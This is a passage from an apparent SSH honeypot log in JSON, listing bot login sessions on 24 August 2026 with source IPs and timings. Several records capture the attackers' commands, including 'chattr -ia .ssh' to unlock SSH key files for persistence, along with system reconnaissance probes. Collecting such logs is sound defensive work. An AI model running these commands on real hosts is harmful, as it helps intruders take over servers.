  "ended_at": "2026-08-24T22:09:31.309953+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4cd25098-cb2b-4952-b7d0-78477fda158b",
  "name": "patient-glassy-otter",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.170.155.208",
  "src_port": 52952,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T22:08:29.260337+00:00",
  "ended_at": "2026-08-24T22:08:31.036439+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fa23786a-8a0d-4438-8c52-bcd1143c035d",
  "name": "jaunty-hollow-wolverine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.170.155.208",
  "src_port": 50918,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T22:08:26.891605+00:00",
  "ended_at": "2026-08-24T22:08:28.064029+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "720af6ad-98e8-4b27-a642-3b871d4b908a",
  "name": "dapper-clever-hummingbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "43.165.190.208",
  "src_port": 34868,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 558,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-24T22:07:11.630448+00:00",
  "ended_at": "2026-08-24T22:07:11.802058+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 6826
 },
 {
  "id": "deb7335a-9bf1-4b63-afd6-10cc38833516",
  "name": "gloomy-mindful-wigeon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "43.165.190.208",
  "src_port": 54902,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T22:06:54.491048+00:00",
  "ended_at": "2026-08-24T22:06:54.831260+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ae3fb27a-a973-4ae8-bdf0-dfa02d02a84b",
  "name": "ivory-valiant-capuchin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "43.165.190.208",
  "src_port": 34888,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T22:06:37.442490+00:00",
  "ended_at": "2026-08-24T22:06:38.691538+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "33711d99-bb98-4dec-8455-b964f5c6c109",
  "name": "ashen-languid-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "43.153.205.159",
  "src_port": 39638,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 782,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-24T22:04:42.105280+00:00",
  "ended_at": "2026-08-24T22:04:42.350865+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3989
 },
 {
  "id": "6446053b-50ca-448e-9fae-f5a382aa6f6a",
  "name": "honest-brave-hare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "43.153.205.159",
  "src_port": 47524,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T22:04:22.969362+00:00",
  "ended_at": "2026-08-24T22:04:23.381191+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a5095c82-3928-4b83-8574-6cf503abe2ab",
  "name": "muted-velvet-gadwall",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "43.153.205.159",
  "src_port": 41506,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T22:04:04.309063+00:00",
  "ended_at": "2026-08-24T22:04:05.744225+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d916138a-a018-4eb8-82d1-18d6bca373d1",
  "name": "brazen-gritty-albatross",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "43.153.205.159",
  "src_port": 55408,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T21:54:46.735259+00:00",
  "ended_at": "2026-08-24T21:54:47.837662+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f6f3ca3f-8bb8-4346-9617-014935b9dd74",
  "name": "burly-patient-vicuna",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "141.95.54.130",
  "src_port": 59206,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 308,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-24T21:25:17.339639+00:00",
  "ended_at": "2026-08-24T21:25:17.428604+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 4003
 },
 {
  "id": "f5898f3c-129d-4a79-b338-319bae36f8f0",
  "name": "downy-zealous-ocelot",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "141.95.54.130",
  "src_port": 47132,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T21:25:03.544732+00:00",
  "ended_at": "2026-08-24T21:25:03.843922+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "687a0fc8-28e3-455d-bc00-3818449df75e",
  "name": "tidal-feral-dotterel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "141.95.54.130",
  "src_port": 39074,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T21:24:52.296099+00:00",
  "ended_at": "2026-08-24T21:24:54.213697+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "13749607-9902-4a74-a854-0030063efdef",
  "name": "quiet-obsidian-caracal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "185.100.87.174",
  "src_port": 32860,
  "username": "root",
  "client_version": "SSH-2.0-OpenSSH_10.5",
  "auth_attempts": 2,
  "automation": "unknown",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T20:25:48.847033+00:00",
  "ended_at": "2026-08-24T20:25:51.575489+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f58232ff-018a-4d07-9598-012047194b0e",
  "name": "blazing-loyal-gazelle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "150.136.214.177",
  "src_port": 45038,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T20:00:09.135827+00:00",
  "ended_at": "2026-08-24T20:00:10.934448+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ab3951a7-187f-4e8c-a7a3-bc06b028a478",
  "name": "jagged-alpine-eider",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "121.184.144.232",
  "src_port": 48627,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T19:33:42.233733+00:00",
  "ended_at": "2026-08-24T19:33:43.380461+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "423a99ca-10df-4452-b7a4-83a926ad849b",
  "name": "orderly-jagged-cuckoo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "35.187.231.181",
  "src_port": 47992,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 535,
  "probe_flagged": 0,
  "exec_command": "cat /proc",
  "started_at": "2026-08-24T19:21:20.717013+00:00",
  "ended_at": "2026-08-24T19:21:21.704022+00:00",
  "ended_reason": "exec complete",
  "commands": 2,
  "transcript_bytes": 61
 },
 {
  "id": "b0d6a6e5-bb90-4bc3-a51d-def2998a8342",
  "name": "proud-airy-loris",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "35.187.231.181",
  "src_port": 47990,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo SHELL_TEST",
  "started_at": "2026-08-24T19:21:17.233040+00:00",
  "ended_at": "2026-08-24T19:21:17.500671+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 25
 },
 {
  "id": "67d5f6ce-be29-48d2-a412-7fdabda56506",
  "name": "solemn-leafy-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "87.106.29.151",
  "src_port": 41442,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 320,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-24T19:09:01.160303+00:00",
  "ended_at": "2026-08-24T19:09:01.247837+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 4113
 },
 {
  "id": "bb819b32-55e3-4b38-9613-04f0d615eee6",
  "name": "lonesome-inland-barbet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "87.106.29.151",
  "src_port": 33468,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T19:08:46.970717+00:00",
  "ended_at": "2026-08-24T19:08:47.272487+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e995a097-6445-4a65-8651-74fe04f792af",
  "name": "rambling-hidden-wheatear",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "87.106.29.151",
  "src_port": 41454,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T19:08:36.696553+00:00",
  "ended_at": "2026-08-24T19:08:38.103773+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b5c6264b-6abb-4354-8d25-34a9d43bfe98",
  "name": "gnarled-nameless-elk",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "87.106.29.151",
  "src_port": 37958,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T19:06:35.130315+00:00",
  "ended_at": "2026-08-24T19:06:36.181889+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6c22cbd7-88a1-4ee5-ba4a-8936d7da13a5",
  "name": "buoyant-glassy-hedgehog",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.35.110.147",
  "src_port": 42702,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T18:58:50.435127+00:00",
  "ended_at": "2026-08-24T18:58:51.932042+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bd960bb3-afd1-4f6a-a7ff-6efcc3a43183",
  "name": "wistful-mossy-zebu",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "87.106.29.151",
  "src_port": 55080,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T18:57:36.226021+00:00",
  "ended_at": "2026-08-24T18:57:37.272127+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d4c72ff5-b583-4e03-b647-c16f2535598a",
  "name": "fleeting-airy-pangolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "116.110.157.126",
  "src_port": 49020,
  "username": "root",
  "client_version": "SSH-2.0-AsyncSSH_2.1.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T17:57:28.705089+00:00",
  "ended_at": "2026-08-24T17:57:29.829444+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "01568e6e-b456-41b2-ae3f-3ff96146dc95",
  "name": "seaward-sturdy-cardinal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "116.110.157.126",
  "src_port": 47438,
  "username": "root",
  "client_version": "SSH-2.0-AsyncSSH_2.1.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T17:49:43.741171+00:00",
  "ended_at": "2026-08-24T17:49:47.346737+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "73c1917d-29e4-4afc-8c26-e13e3858929e",
  "name": "sturdy-restless-cougar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "116.110.157.126",
  "src_port": 60086,
  "username": "root",
  "client_version": "SSH-2.0-AsyncSSH_2.1.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T17:41:47.820741+00:00",
  "ended_at": "2026-08-24T17:42:15.106122+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "53c270cd-2f78-4421-9ccc-699ffbf60cc1",
  "name": "bitter-brisk-quail",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "193.46.255.86",
  "src_port": 57000,
  "username": "root",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 3,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T17:12:30.473060+00:00",
  "ended_at": "2026-08-24T17:12:33.146346+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ec3d3799-083a-43b7-8c66-af22ae484557",
  "name": "quaint-shaded-armadillo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "27.79.45.89",
  "src_port": 43456,
  "username": "root",
  "client_version": "SSH-2.0-AsyncSSH_2.1.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T17:12:20.874304+00:00",
  "ended_at": "2026-08-24T17:12:36.864986+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "78d2c64f-18fd-44da-998f-e082e451926a",
  "name": "thawing-dusky-ibex",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.12.221.15",
  "src_port": 33126,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T16:28:53.691653+00:00",
  "ended_at": "2026-08-24T16:28:55.159038+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1271f5e6-4b3e-4732-bfc2-c8bee9c8775a",
  "name": "ashen-drifting-cicada",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.12.221.15",
  "src_port": 54086,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T16:26:20.535075+00:00",
  "ended_at": "2026-08-24T16:26:22.430188+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "81c95145-6902-4cbd-923b-88cf66fee331",
  "name": "scarlet-velvet-eagle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.12.221.15",
  "src_port": 47204,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T16:21:33.969313+00:00",
  "ended_at": "2026-08-24T16:21:35.145190+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6e98df07-1c3a-4c7e-8a40-c2303b37c899",
  "name": "pewter-vivid-oryx",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.164.57.37",
  "src_port": 48508,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T16:15:46.963911+00:00",
  "ended_at": "2026-08-24T16:15:47.807351+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "42f33278-7c00-483f-83e7-340f43cf39f3",
  "name": "thawing-hazel-francolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.164.57.37",
  "src_port": 38184,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T16:08:14.800181+00:00",
  "ended_at": "2026-08-24T16:08:15.838434+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "872ec478-dffb-4452-a7fe-375d47073b26",
  "name": "faded-muted-ouzel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "195.178.110.137",
  "src_port": 38086,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T14:07:07.749305+00:00",
  "ended_at": "2026-08-24T14:07:10.079639+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8fa60706-ca9a-454c-b005-04cd4e4f4118",
  "name": "prairie-plush-gibbon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "211.225.139.200",
  "src_port": 54915,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T12:58:35.593797+00:00",
  "ended_at": "2026-08-24T12:58:37.210379+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7110868f-17f8-4ca7-a208-6a4aca33da1b",
  "name": "buoyant-feral-antelope",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "211.225.139.200",
  "src_port": 53650,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T12:17:25.563087+00:00",
  "ended_at": "2026-08-24T12:17:27.377907+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d77962df-01ae-4ec5-af54-7f27b0013513",
  "name": "wiry-autumn-serval",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "211.225.139.200",
  "src_port": 51165,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T11:56:00.221628+00:00",
  "ended_at": "2026-08-24T11:56:02.194117+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e437629a-f25d-4e70-92b0-ce489963d5f3",
  "name": "daring-snowy-oriole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "193.46.255.86",
  "src_port": 44200,
  "username": "root",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 3,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T11:01:24.764056+00:00",
  "ended_at": "2026-08-24T11:01:29.877204+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ed89e3c5-3cdf-4a4f-9b7b-22d453663984",
  "name": "proud-sullen-ouzel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 38354,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 168,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T10:18:41.394234+00:00",
  "ended_at": "2026-08-24T10:18:47.328133+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6b699d83-5995-4531-a931-2a9d4a98a0cc",
  "name": "austere-chilly-pangolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 38340,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 169,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T10:18:27.208050+00:00",
  "ended_at": "2026-08-24T10:18:30.055738+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c2ed9aa1-f601-4f48-ba67-f9027f15d17f",
  "name": "rambling-reedy-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 38714,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 238,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T10:17:43.912073+00:00",
  "ended_at": "2026-08-24T10:17:48.704573+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0bbfbbca-a189-43d2-8cd0-ddc6766dedd9",
  "name": "serene-oaken-armadillo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 60828,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 329,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T10:16:58.716330+00:00",
  "ended_at": "2026-08-24T10:17:01.512665+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6fe12a23-27c4-4a74-994e-d311d70a531a",
  "name": "silent-indigo-coyote",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 41434,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 221,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T10:16:46.207531+00:00",
  "ended_at": "2026-08-24T10:16:49.902644+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2027289e-db7b-4450-952d-246d85463935",
  "name": "cunning-prickly-goldcrest",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 38880,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 214,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T10:15:59.402585+00:00",
  "ended_at": "2026-08-24T10:16:04.928410+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "afc50726-836e-4527-994e-752f10a85a0d",
  "name": "courtly-canny-alpaca",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 52296,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 218,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T10:15:25.425906+00:00",
  "ended_at": "2026-08-24T10:15:29.737326+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c05b5b2c-d90f-4015-b7dc-2bc19bf046b6",
  "name": "russet-icy-blackbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 40114,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 196,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T10:15:12.906010+00:00",
  "ended_at": "2026-08-24T10:15:16.414436+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b5329355-dd84-40ec-bc89-2e08105a6b0b",
  "name": "genial-ancient-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 33974,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 208,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T10:14:45.523844+00:00",
  "ended_at": "2026-08-24T10:14:50.308833+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "940df23b-8df1-416d-a1e5-6be63604e1e3",
  "name": "jagged-sincere-tern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 40850,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 177,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T10:14:34.393190+00:00",
  "ended_at": "2026-08-24T10:14:39.734763+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e07bca1b-2a37-49a7-b979-3c9eab834d9d",
  "name": "shaded-chilly-woodcock",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 50602,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 221,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T10:14:11.731284+00:00",
  "ended_at": "2026-08-24T10:14:16.188626+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d746bd31-71e9-4104-90f0-7431bac985fd",
  "name": "brave-verdant-peccary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 38676,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 202,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T10:13:55.438274+00:00",
  "ended_at": "2026-08-24T10:13:59.618699+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "72fc44a7-2590-4d38-81bb-7aaef5c6adbb",
  "name": "tranquil-lunar-reindeer",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 47366,
  "username": "root",
